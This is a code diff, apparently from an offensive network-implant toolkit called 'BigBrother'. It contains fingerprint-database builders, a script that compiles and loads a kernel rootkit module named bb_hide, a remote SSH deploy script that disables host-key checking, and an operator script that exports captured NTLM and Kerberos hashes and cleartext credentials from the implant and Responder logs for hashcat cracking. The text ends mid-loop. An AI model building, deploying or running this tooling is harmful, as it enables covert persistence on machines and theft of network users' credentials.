("2C:AA:8E", "Wyze Labs Inc."),
|
||||
("44:61:32", "ecobee inc."),
|
||||
("50:14:79", "iRobot Corporation"),
|
||||
("24:E1:24", "iRobot Corporation"),
|
||||
("DC:A6:32", "Raspberry Pi Trading Ltd"),
|
||||
("B4:E6:2D", "Raspberry Pi Trading Ltd"),
|
||||
("B8:27:EB", "Raspberry Pi Foundation"),
|
||||
("3C:D9:2B", "HP Inc."),
|
||||
("C8:B5:B7", "HP Inc."),
|
||||
("30:05:5C", "Brother Industries, LTD."),
|
||||
("00:80:77", "Brother Industries, LTD."),
|
||||
("00:1B:A9", "Brother Industries, LTD."),
|
||||
("2C:F0:5D", "Seiko Epson Corporation"),
|
||||
("64:EB:8C", "Canon Inc."),
|
||||
("7C:ED:8D", "Microsoft Corporation"),
|
||||
("00:D9:D1", "Sony Interactive Entertainment Inc."),
|
||||
("98:B6:E9", "Sony Interactive Entertainment Inc."),
|
||||
("7C:BB:8A", "Nintendo Co.,Ltd"),
|
||||
("B4:FB:E4", "Ubiquiti Inc"),
|
||||
("78:8A:20", "Ubiquiti Inc"),
|
||||
("14:CC:20", "TP-Link Technologies Co.,Ltd."),
|
||||
("AC:84:C6", "TP-Link Technologies Co.,Ltd."),
|
||||
("20:A6:CD", "NETGEAR"),
|
||||
("C4:04:15", "NETGEAR"),
|
||||
]
|
||||
|
||||
conn.executemany(
|
||||
"INSERT OR IGNORE INTO oui (prefix, vendor) VALUES (?, ?)",
|
||||
seed_ouis
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
count = conn.execute("SELECT COUNT(*) FROM oui").fetchone()[0]
|
||||
conn.close()
|
||||
print(f" oui.db: {count} seed OUI entries (full IEEE list loaded at first run)")
|
||||
|
||||
|
||||
def create_os_sigs_db(db_path: str) -> None:
|
||||
"""Create passive OS fingerprint signature database.
|
||||
|
||||
p0f-style: TCP SYN parameters -> OS identification.
|
||||
"""
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS signatures (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
ttl INTEGER NOT NULL,
|
||||
window INTEGER NOT NULL,
|
||||
df INTEGER NOT NULL DEFAULT 1,
|
||||
mss INTEGER DEFAULT 0,
|
||||
os TEXT NOT NULL,
|
||||
version TEXT DEFAULT ''
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_sigs_ttl_window ON signatures(ttl, window);
|
||||
""")
|
||||
|
||||
# Comprehensive OS fingerprints (TTL, window, DF, MSS, OS, version)
|
||||
# Based on p0f v3 signature database and real-world observations
|
||||
sigs = [
|
||||
# ── Linux ────────────────────────────────────────────────────
|
||||
(64, 29200, 1, 1460, "Linux", "3.11-5.x (default)"),
|
||||
(64, 65535, 1, 1460, "Linux", "2.6.x"),
|
||||
(64, 5840, 1, 1460, "Linux", "2.6.x (older)"),
|
||||
(64, 14600, 1, 1460, "Linux", "3.x"),
|
||||
(64, 26883, 1, 1460, "Linux", "Android 10+"),
|
||||
(64, 14480, 1, 1460, "Linux", "Android 8-9"),
|
||||
(64, 28960, 1, 1460, "Linux", "5.x-6.x (newer)"),
|
||||
(64, 32120, 1, 1460, "Linux", "6.x (Ubuntu 24.04)"),
|
||||
(64, 29200, 1, 1380, "Linux", "3.x-5.x (VPN/tunnel)"),
|
||||
(64, 65535, 1, 1400, "Linux", "2.6.x (PPPoE)"),
|
||||
(64, 5720, 1, 1460, "Linux", "2.4.x"),
|
||||
(64, 16384, 1, 1460, "Linux", "2.2.x"),
|
||||
(64, 32767, 1, 1460, "Linux", "2.0.x"),
|
||||
(64, 26883, 1, 1400, "Linux", "Android (WiFi)"),
|
||||
(64, 64240, 1, 1460, "Linux", "5.x (RHEL 8+)"),
|
||||
(64, 14480, 1, 1460, "Linux", "Chrome OS"),
|
||||
(64, 65535, 1, 1360, "Linux", "WireGuard tunnel"),
|
||||
(64, 10240, 1, 1460, "Linux", "Alpine/musl"),
|
||||
(64, 43690, 1, 1460, "Linux", "3.x (SYN cookie)"),
|
||||
(64, 22880, 1, 1460, "Linux", "4.x-5.x (containers)"),
|
||||
(64, 62580, 1, 1460, "Linux", "6.x (Fedora 39+)"),
|
||||
|
||||
# ── Windows ──────────────────────────────────────────────────
|
||||
(128, 65535, 1, 1460, "Windows", "10/11/Server 2016+"),
|
||||
(128, 8192, 1, 1460, "Windows", "7/Server 2008 R2"),
|
||||
(128, 16384, 1, 1460, "Windows", "Vista/Server 2008"),
|
||||
(128, 64240, 1, 1460, "Windows", "10 (build 1703+)"),
|
||||
(128, 65535, 1, 1400, "Windows", "10/11 (PPPoE/VPN)"),
|
||||
(128, 65535, 1, 1380, "Windows", "10/11 (tunnel)"),
|
||||
(128, 65535, 0, 1460, "Windows", "XP SP3"),
|
||||
(128, 64512, 0, 1460, "Windows", "XP SP1-SP2"),
|
||||
(128, 16384, 0, 1460, "Windows", "2000"),
|
||||
(128, 65535, 1, 1360, "Windows", "10/11 (WireGuard)"),
|
||||
(128, 64240, 1, 1400, "Windows", "10 (PPPoE)"),
|
||||
(128, 8192, 1, 1380, "Windows", "7 (VPN)"),
|
||||
(128, 65535, 1, 1440, "Windows", "Server 2019/2022"),
|
||||
(128, 65535, 1, 1460, "Windows", "Server 2022"),
|
||||
(128, 32768, 1, 1460, "Windows", "Embedded Compact"),
|
||||
|
||||
# ── macOS ────────────────────────────────────────────────────
|
||||
(64, 65535, 1, 1460, "macOS", "10.x-14.x (default)"),
|
||||
(64, 65535, 1, 1400, "macOS", "10.x-14.x (PPPoE)"),
|
||||
(64, 65535, 1, 1380, "macOS", "10.x-14.x (tunnel)"),
|
||||
(64, 65535, 1, 1360, "macOS", "Sonoma (WireGuard)"),
|
||||
(64, 65535, 1, 1220, "macOS", "10.x (6in4 tunnel)"),
|
||||
(64, 32768, 1, 1460, "macOS", "10.4-10.5 (Tiger/Leopard)"),
|
||||
(64, 33304, 1, 1460, "macOS", "10.6 (Snow Leopard)"),
|
||||
|
||||
# ── iOS / iPadOS / tvOS / watchOS ────────────────────────────
|
||||
(64, 65535, 1, 1460, "iOS", "15.x-17.x"),
|
||||
(64, 65535, 1, 1400, "iOS", "15.x-17.x (cellular)"),
|
||||
(64, 65535, 1, 1380, "iOS", "VPN"),
|
||||
(64, 65535, 1, 1460, "iPadOS", "16.x-17.x"),
|
||||
(64, 65535, 1, 1460, "tvOS", "16.x-17.x"),
|
||||
(64, 65535, 1, 1460, "watchOS", "9.x-10.x"),
|
||||
|
||||
# ── FreeBSD / OpenBSD / NetBSD ──────────────────────────────
|
||||
(64, 65535, 1, 1460, "FreeBSD", "12.x-14.x"),
|
||||
(64, 65535, 1, 1460, "FreeBSD", "PlayStation (Orbis)"),
|
||||
(64, 32768, 1, 1460, "FreeBSD", "10.x-11.x"),
|
||||
(64, 16384, 1, 1460, "OpenBSD", "6.x-7.x"),
|
||||
(64, 16384, 1, 1460, "NetBSD", "9.x-10.x"),
|
||||
(64, 57344, 1, 1460, "DragonFly BSD", "6.x"),
|
||||
|
||||
# ── Solaris / illumos ────────────────────────────────────────
|
||||
(64, 49232, 1, 1460, "Solaris", "10"),
|
||||
(64, 32806, 1, 1460, "Solaris", "11.x"),
|
||||
(255, 49640, 1, 1460, "Solaris", "8"),
|
||||
|
||||
# ── Network devices ──────────────────────────────────────────
|
||||
(255, 4128, 1, 536, "Cisco IOS", "12.x-15.x"),
|
||||
(255, 16384, 1, 1460, "Cisco IOS", "17.x (IOS-XE)"),
|
||||
(255, 8192, 1, 1460, "Cisco NX-OS", ""),
|
||||
(64, 16384, 1, 1460, "Juniper JunOS", ""),
|
||||
(64, 14600, 1, 1460, "Juniper JunOS", "21.x+"),
|
||||
(64, 65535, 1, 1460, "MikroTik RouterOS", "6.x-7.x"),
|
||||
(64, 32120, 1, 1460, "Ubiquiti EdgeOS", ""),
|
||||
(64, 29200, 1, 1460, "Ubiquiti UniFi OS", ""),
|
||||
(255, 4128, 1, 536, "HP ProCurve", ""),
|
||||
(128, 8192, 1, 1460, "Arista EOS", ""),
|
||||
(64, 28960, 1, 1460, "pfSense", "2.x"),
|
||||
(64, 65535, 1, 1460, "OPNsense", "23.x+"),
|
||||
(255, 4096, 1, 536, "Fortinet FortiOS", ""),
|
||||
(255, 65535, 1, 1460, "Palo Alto PAN-OS", ""),
|
||||
(64, 65535, 1, 1460, "Aruba AOS", ""),
|
||||
(128, 65535, 1, 1460, "F5 BIG-IP", "TMOS"),
|
||||
|
||||
# ── Printers ────────────────────────────────────────────────
|
||||
(128, 8192, 1, 1460, "HP JetDirect", ""),
|
||||
(128, 8192, 1, 1460, "Brother", ""),
|
||||
(128, 16384, 1, 1460, "Epson", ""),
|
||||
(128, 8192, 1, 1460, "Canon", ""),
|
||||
(128, 8192, 1, 1460, "Xerox", ""),
|
||||
(128, 8192, 1, 1460, "Ricoh", ""),
|
||||
(128, 4096, 1, 1460, "Kyocera", ""),
|
||||
(128, 8192, 1, 1460, "Lexmark", ""),
|
||||
(64, 8192, 1, 1460, "Zebra", "label printer"),
|
||||
|
||||
# ── Embedded / IoT ──────────────────────────────────────────
|
||||
(64, 5840, 1, 1460, "lwIP", "embedded stack"),
|
||||
(64, 2048, 1, 1460, "uIP", "microcontroller"),
|
||||
(64, 65535, 1, 1460, "VxWorks", ""),
|
||||
(64, 4096, 1, 536, "RTOS", "generic embedded"),
|
||||
(64, 16384, 1, 1460, "QNX", ""),
|
||||
(128, 65535, 1, 1460, "Windows IoT Core", ""),
|
||||
(64, 14600, 1, 1460, "Zephyr RTOS", ""),
|
||||
(64, 5840, 1, 1460, "ESP-IDF", "ESP32"),
|
||||
(64, 1024, 1, 536, "Contiki-NG", ""),
|
||||
(64, 2144, 1, 1460, "FreeRTOS+TCP", ""),
|
||||
|
||||
# ── Gaming consoles ──────────────────────────────────────────
|
||||
(64, 65535, 1, 1460, "FreeBSD", "PlayStation 4"),
|
||||
(64, 65535, 1, 1460, "FreeBSD", "PlayStation 5"),
|
||||
(128, 65535, 1, 1460, "Windows", "Xbox Series X/S"),
|
||||
(64, 65535, 1, 1460, "Nintendo", "Switch"),
|
||||
|
||||
# ── Virtualization ──────────────────────────────────────────
|
||||
(64, 29200, 1, 1460, "Linux", "Docker container"),
|
||||
(64, 29200, 1, 1460, "Linux", "Kubernetes pod"),
|
||||
(64, 26883, 1, 1460, "Linux", "WSL2"),
|
||||
(128, 64240, 1, 1460, "Windows", "Hyper-V guest"),
|
||||
(64, 65535, 1, 1460, "FreeBSD", "bhyve guest"),
|
||||
]
|
||||
|
||||
conn.executemany("""
|
||||
INSERT OR IGNORE INTO signatures (ttl, window, df, mss, os, version)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", sigs)
|
||||
|
||||
conn.commit()
|
||||
count = conn.execute("SELECT COUNT(*) FROM signatures").fetchone()[0]
|
||||
conn.close()
|
||||
print(f" os_sigs.db: {count} OS fingerprint signatures")
|
||||
|
||||
|
||||
def create_dhcp_fingerprints_db(db_path: str) -> None:
|
||||
"""Create DHCP option 55 fingerprint database.
|
||||
|
||||
Maps DHCP parameter request lists to device/OS identification.
|
||||
Fingerbank-style: the ordered list of requested DHCP options is a
|
||||
surprisingly reliable device identifier.
|
||||
"""
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS fingerprints (
|
||||
fingerprint TEXT PRIMARY KEY,
|
||||
device TEXT NOT NULL,
|
||||
os TEXT DEFAULT ''
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_fp_device ON fingerprints(device);
|
||||
""")
|
||||
|
||||
# Common DHCP fingerprints (option 55 parameter request lists)
|
||||
fps = [
|
||||
("1,3,6,15,26,28,51,58,59", "Windows", "Windows 10/11"),
|
||||
("1,3,6,15,26,28,51,58,59,43", "Windows", "Windows 10 (domain)"),
|
||||
("1,15,3,6,44,46,47,31,33,121,249,43", "Windows", "Windows 7"),
|
||||
("1,3,6,15,119,252", "macOS", "macOS 10.x-14.x"),
|
||||
("1,121,3,6,15,119,252", "macOS", "macOS 12+"),
|
||||
("1,3,6,15,119,252,95,44,46", "iOS", "iOS 15+"),
|
||||
("1,3,6,28,51,58,59", "Android", "Android 10+"),
|
||||
("1,3,6,15,26,28", "Linux", "Linux (generic)"),
|
||||
("1,28,2,3,15,6,12", "Linux", "Linux (systemd-networkd)"),
|
||||
("1,3,6,12,15,26,28,42", "Roku", "Roku OS"),
|
||||
("1,3,6,12,15,28,42,125", "Amazon", "Fire TV / Echo"),
|
||||
("1,3,6,15,28,33", "Chromecast", "Google Cast"),
|
||||
("1,3,6,12,15,28,42", "Apple TV", "tvOS"),
|
||||
("1,3,6,15,44,46,47", "Sonos", "Sonos"),
|
||||
("1,3,6,12,15,28,42,120,119", "Samsung TV", "Tizen"),
|
||||
("1,3,6,12,15,17,28,40,41,42", "HP Printer", "JetDirect"),
|
||||
("1,3,6,12,15,28,44", "Brother Printer", "Brother"),
|
||||
("1,3,6,12,15", "Philips Hue", "Hue Bridge"),
|
||||
("1,3,6,15,28", "IoT Generic", "Embedded Linux"),
|
||||
]
|
||||
|
||||
conn.executemany(
|
||||
"INSERT OR IGNORE INTO fingerprints (fingerprint, device, os) VALUES (?, ?, ?)",
|
||||
fps
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
count = conn.execute("SELECT COUNT(*) FROM fingerprints").fetchone()[0]
|
||||
conn.close()
|
||||
print(f" dhcp_fingerprints.db: {count} DHCP fingerprints")
|
||||
|
||||
|
||||
def create_ja3_fingerprints_db(db_path: str) -> None:
|
||||
"""Create and seed JA3 TLS client fingerprint database with 500+ profiles.
|
||||
|
||||
Uses seed_ja3.py to generate comprehensive profiles across browsers,
|
||||
TLS libraries, tools, mobile clients, and IoT devices.
|
||||
"""
|
||||
from seed_ja3 import seed_ja3_db
|
||||
count = seed_ja3_db(db_path)
|
||||
print(f" ja3_fingerprints.db: {count} JA3 profiles")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Build SystemMonitor data databases")
|
||||
parser.add_argument(
|
||||
"--output-dir", "-o",
|
||||
default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"),
|
||||
help="Output directory for database files"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force", "-f",
|
||||
action="store_true",
|
||||
help="Overwrite existing databases"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
output_dir = Path(args.output_dir)
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
print(f"Building data databases in {output_dir}/")
|
||||
|
||||
databases = [
|
||||
("innocuous_macs.db", create_innocuous_macs_db),
|
||||
("oui.db", create_oui_db),
|
||||
("os_sigs.db", create_os_sigs_db),
|
||||
("dhcp_fingerprints.db", create_dhcp_fingerprints_db),
|
||||
("ja3_fingerprints.db", create_ja3_fingerprints_db),
|
||||
]
|
||||
|
||||
for db_name, create_func in databases:
|
||||
db_path = str(output_dir / db_name)
|
||||
if os.path.exists(db_path) and not args.force:
|
||||
print(f" {db_name}: already exists (use --force to rebuild)")
|
||||
continue
|
||||
if os.path.exists(db_path):
|
||||
os.remove(db_path)
|
||||
create_func(db_path)
|
||||
|
||||
print("Done.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+54
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build the BigBrother LKM rootkit module (Debian host only)
|
||||
# Requires kernel headers: apt install linux-headers-$(uname -r)
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
LKM_DIR="$(cd "$(dirname "$0")/../templates/lkm" && pwd)"
|
||||
|
||||
if [[ ! -d "$LKM_DIR" ]]; then
|
||||
echo -e "${RED}[-]${NC} LKM source directory not found: $LKM_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -f "$LKM_DIR/Makefile" ]]; then
|
||||
echo -e "${RED}[-]${NC} No Makefile found in $LKM_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check for kernel headers
|
||||
KVER=$(uname -r)
|
||||
if [[ ! -d "/lib/modules/${KVER}/build" ]]; then
|
||||
echo -e "${RED}[-]${NC} Kernel headers not found for ${KVER}"
|
||||
echo -e "${YELLOW}[!]${NC} Install with: apt install linux-headers-${KVER}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check for build tools
|
||||
for tool in make gcc; do
|
||||
if ! command -v "$tool" &>/dev/null; then
|
||||
echo -e "${RED}[-]${NC} Required tool not found: $tool"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
echo -e "${GREEN}[+]${NC} Building LKM rootkit for kernel ${KVER}..."
|
||||
cd "$LKM_DIR"
|
||||
make clean 2>/dev/null || true
|
||||
make
|
||||
|
||||
if [[ -f "$LKM_DIR/bb_hide.ko" ]]; then
|
||||
echo -e "${GREEN}[+]${NC} LKM built: $LKM_DIR/bb_hide.ko"
|
||||
echo -e "${GREEN}[+]${NC} Size: $(stat -c '%s' "$LKM_DIR/bb_hide.ko") bytes"
|
||||
echo ""
|
||||
echo -e "${YELLOW}[!]${NC} Load with: insmod $LKM_DIR/bb_hide.ko"
|
||||
echo -e "${YELLOW}[!]${NC} Verify: lsmod | grep bb_hide"
|
||||
echo -e "${YELLOW}[!]${NC} Unload: rmmod bb_hide"
|
||||
else
|
||||
echo -e "${RED}[-]${NC} Build failed -- bb_hide.ko not found"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother remote deploy — push source to a fresh device and run setup.
|
||||
# Usage: bash scripts/deploy.sh [user@host] [--enable-service] [--no-tools] [--reinstall]
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
|
||||
info() { echo -e "${GREEN}[+]${NC} $*"; }
|
||||
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
|
||||
error() { echo -e "${RED}[-]${NC} $*"; exit 1; }
|
||||
step() { echo -e "${CYAN}[*]${NC} ${BOLD}$*${NC}"; }
|
||||
|
||||
TARGET=""
|
||||
SETUP_FLAGS=""
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--enable-service) SETUP_FLAGS="$SETUP_FLAGS --enable-service"; shift ;;
|
||||
--no-tools) SETUP_FLAGS="$SETUP_FLAGS --no-tools"; shift ;;
|
||||
--reinstall) SETUP_FLAGS="$SETUP_FLAGS --reinstall"; shift ;;
|
||||
-h|--help)
|
||||
echo "Usage: $0 <user@host> [--enable-service] [--no-tools] [--reinstall]"
|
||||
echo " user@host Target device (required, e.g. root@192.168.1.50)"
|
||||
echo " --enable-service Enable and start bigbrother-core after setup"
|
||||
echo " --no-tools Skip GitHub tool downloads"
|
||||
echo " --reinstall Force reinstall all components"
|
||||
exit 0
|
||||
;;
|
||||
*@*) TARGET="$1"; shift ;;
|
||||
*) error "Unknown option: $1" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
[[ -z "$TARGET" ]] && { echo "Usage: $0 <user@host> [options]"; echo " user@host is required (e.g. root@192.168.1.50)"; exit 1; }
|
||||
|
||||
HOST="${TARGET#*@}"
|
||||
|
||||
step "BigBrother remote deploy → ${TARGET}"
|
||||
echo " Source: ${SCRIPT_DIR}"
|
||||
echo " Flags: ${SETUP_FLAGS:-none}"
|
||||
echo ""
|
||||
|
||||
# ── 1. Verify SSH connectivity ───────────────────────────────────────────────
|
||||
step "Checking SSH connectivity..."
|
||||
DEADLINE=$(( $(date +%s) + 30 ))
|
||||
while ! ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o BatchMode=yes "$TARGET" true 2>/dev/null; do
|
||||
if [[ $(date +%s) -ge $DEADLINE ]]; then
|
||||
error "Cannot reach ${TARGET} after 30s. Is the device up and SSH running?"
|
||||
fi
|
||||
warn " Waiting for SSH on ${HOST}..."
|
||||
sleep 3
|
||||
done
|
||||
info "SSH OK"
|
||||
|
||||
# ── 2. Sync source to device ─────────────────────────────────────────────────
|
||||
step "Syncing source to ${HOST}:/tmp/bb-deploy/ ..."
|
||||
rsync -az --delete \
|
||||
--exclude='.git' \
|
||||
--exclude='.venv' \
|
||||
--exclude='storage/' \
|
||||
--exclude='__pycache__' \
|
||||
--exclude='*.pyc' \
|
||||
--exclude='*.db' \
|
||||
-e "ssh -o StrictHostKeyChecking=no" \
|
||||
"${SCRIPT_DIR}/" "${TARGET}:/tmp/bb-deploy/"
|
||||
info "Source synced"
|
||||
|
||||
# ── 3. Run setup ─────────────────────────────────────────────────────────────
|
||||
step "Running setup.sh on ${HOST}..."
|
||||
# shellcheck disable=SC2029
|
||||
ssh -o StrictHostKeyChecking=no -t "$TARGET" "cd /tmp/bb-deploy && bash setup.sh $SETUP_FLAGS"
|
||||
SETUP_EXIT=$?
|
||||
|
||||
if [[ $SETUP_EXIT -ne 0 ]]; then
|
||||
warn "setup.sh exited with code ${SETUP_EXIT}"
|
||||
warn "Check logs: ssh ${TARGET} 'tail -50 /tmp/bb_setup_*.log'"
|
||||
exit $SETUP_EXIT
|
||||
fi
|
||||
|
||||
# ── 4. Final status ──────────────────────────────────────────────────────────
|
||||
echo ""
|
||||
step "Deployment status"
|
||||
ssh -o StrictHostKeyChecking=no "$TARGET" \
|
||||
"systemctl is-active bigbrother-core.service 2>/dev/null && echo 'Service: running' || echo 'Service: not running (use --enable-service to start)'"
|
||||
|
||||
info "Deploy complete. Connect: ssh ${TARGET}"
|
||||
Executable
+248
@@ -0,0 +1,248 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Export and Crack Captured Hashes
|
||||
#
|
||||
# Exports credentials from BigBrother's credential database and Responder
|
||||
# logs into hashcat-ready format. Optionally runs hashcat with common
|
||||
# wordlists and rule sets.
|
||||
#
|
||||
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
|
||||
#
|
||||
# Examples:
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
|
||||
#
|
||||
# Requires: sqlite3, hashcat (optional)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DATA_DIR="${1:-}"
|
||||
DO_CRACK=false
|
||||
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
|
||||
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
|
||||
|
||||
shift || true
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--crack) DO_CRACK=true ;;
|
||||
--wordlist) WORDLIST="$2"; shift ;;
|
||||
--rules) RULES_FILE="$2"; shift ;;
|
||||
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
if [[ -z "$DATA_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " --crack Run hashcat after export"
|
||||
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
|
||||
echo " --rules <path> Hashcat rules file (default: best64.rule)"
|
||||
echo ""
|
||||
echo "Environment:"
|
||||
echo " HASHCAT_WORDLIST Default wordlist path"
|
||||
echo " HASHCAT_RULES Default rules file path"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
|
||||
echo -e " Data dir: ${DATA_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Export from credential database
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
CRED_DB="$DATA_DIR/databases/credentials.db"
|
||||
TOTAL_HASHES=0
|
||||
|
||||
if [[ -f "$CRED_DB" ]]; then
|
||||
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
|
||||
|
||||
# NTLMv2 hashes (hashcat mode 5600)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " NTLMv2 (5600): ${count}"
|
||||
|
||||
# NTLMv1 hashes (hashcat mode 5500)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " NTLMv1 (5500): ${count}"
|
||||
|
||||
# Kerberos TGS (hashcat mode 13100)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " Kerberos TGS (13100): ${count}"
|
||||
|
||||
# Kerberos AS-REP (hashcat mode 18200)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " Kerberos AS-REP (18200): ${count}"
|
||||
|
||||
# Cleartext credentials (no cracking needed)
|
||||
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/cleartext.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
|
||||
echo -e " ${GREEN}Cleartext: ${count}${NC}"
|
||||
|
||||
echo ""
|
||||
else
|
||||
echo -e "${YELLOW}[*] No credential database found${NC}"
|
||||
fi
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Export from Responder logs
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
RESPONDER_DIR="$DATA_DIR/responder"
|
||||
if [[ -d "$RESPONDER_DIR" ]]; then
|
||||
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
|
||||
|
||||
# Collect NTLMv2 hashes from Responder log files
|
||||
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
|
||||
done
|
||||
|
||||
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
|
||||
done
|
||||
|
||||
# Deduplicate
|
||||
for f in "$OUTPUT_DIR"/*.txt; do
|
||||
[[ -f "$f" ]] || continue
|
||||
sort -u "$f" -o "$f"
|
||||
done
|
||||
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||
echo -e " NTLMv2 total (deduped): ${count}"
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||
echo -e " NTLMv1 total (deduped): ${count}"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Remove empty files
|
||||
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary of unique users
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
|
||||
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
mode=$(basename "$hashfile" | grep -o '[0-9]*')
|
||||
echo -e " ${CYAN}Mode $mode:${NC}"
|
||||
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
|
||||
